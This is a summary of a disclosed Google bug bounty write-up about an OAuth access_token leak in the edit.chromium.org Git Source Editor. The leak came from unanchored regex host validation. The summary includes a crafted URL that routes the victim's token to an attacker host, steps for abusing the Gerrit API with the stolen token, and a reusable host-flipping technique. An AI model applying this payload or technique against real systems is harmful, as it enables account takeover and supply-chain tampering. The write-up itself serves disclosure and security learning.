# googlesource.com access_token leak (Awarded $7500)

Git Source Editor's redirect URL regex mis-validated hosts, letting a crafted edit.chromium.org URL leak the victim's OAuth access_token to an attacker server.

- Payout: $7,500
- Severity: high
- Program: Google
- Credited: NDevTK
- Disclosed: 2023-06-11
- Write-up quality: 8/10
- Original: https://ndevtk.github.io/writeups/2023/06/11/googlesource/
- Library page: https://bugbountylibrary.com/r/blog%3Andevtk-github-io-writeups-2023-06-11-googlesource
- Tags: domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:high tech:oauth technique:chained technique:source-review vuln:account-takeover vuln:open-redirect vuln:secrets-leak

**Target:** Browser-based Git Source Editor (edit.chromium.org / ci.android.com) redirect URL validation
**Root cause:** GERRIT_LINK_MATCHER regexes and the origin check via Cra.some(g.exec(new URL(a).origin)) failed to anchor/validate the host, so a URL like android.googlesource.com/.../aogarantiza.com:1337#... parsed host as the attacker domain while still passing validation.
**Steps:**
1. Craft URL where path contains attacker host before a # fragment: `https://android.googlesource.com/platform/build/+show/refs/heads/master/Changes.md/aogarantiza.com:1337#android.googlesource.com/...`
2. Wrap in editor param: `https://edit.chromium.org/edit?file=<encoded above>`
3. Victim visits URL; editor parses host as aogarantiza.com:1337 and issues request there with `access_token` query param
4. Attacker server (HTTPS, CORS headers echoing Origin) receives token and uses it against chromium-review.googlesource.com REST API, e.g. `PUT /a/accounts/self/status?access_token=...`
5. Verify by checking victim's Gerrit 'About me' field changed
**How found:** Code review of the editor's URL validation: noticed GERRIT_LINK_MATCHER regexes and the origin check using `g.exec(new URL(a).origin)` were not anchored, hypothesizing a path-embedded attacker host plus fragment would parse as attacker origin while passing the *.googlesource.com check.
**Exploitation:** Attacker hosts HTTPS server with permissive CORS; sends crafted edit.chromium.org link (optionally in popup/popunder, with dummy params and spoofed directory listing to obscure). Victim with prior OAuth authorization just visits; otherwise completes legit Google OAuth prompt. Editor sends access_token to attacker origin; attacker uses token to read/write Chromium Gerrit (profile, repos, CLs) and internal Android build data, enabling supply-chain-style fake commits/reviews.
**Escalation:** Token scopes include gerritcodereview and androidbuild.internal, allowing read/write to Gerrit repos and internal build status; attacker could impersonate users across commit/review/approve workflow. Mentions possible Gerrit jar-file RCE with correct token.
**Insight:** When a redirect/host allowlist is enforced by regex against `new URL(x).origin`, test whether the regex is anchored and whether path segments before a `#` can be captured as the host group — a URL like `legit.com/path/evil.com:port#legit.com` can flip the parsed host while satisfying the pattern.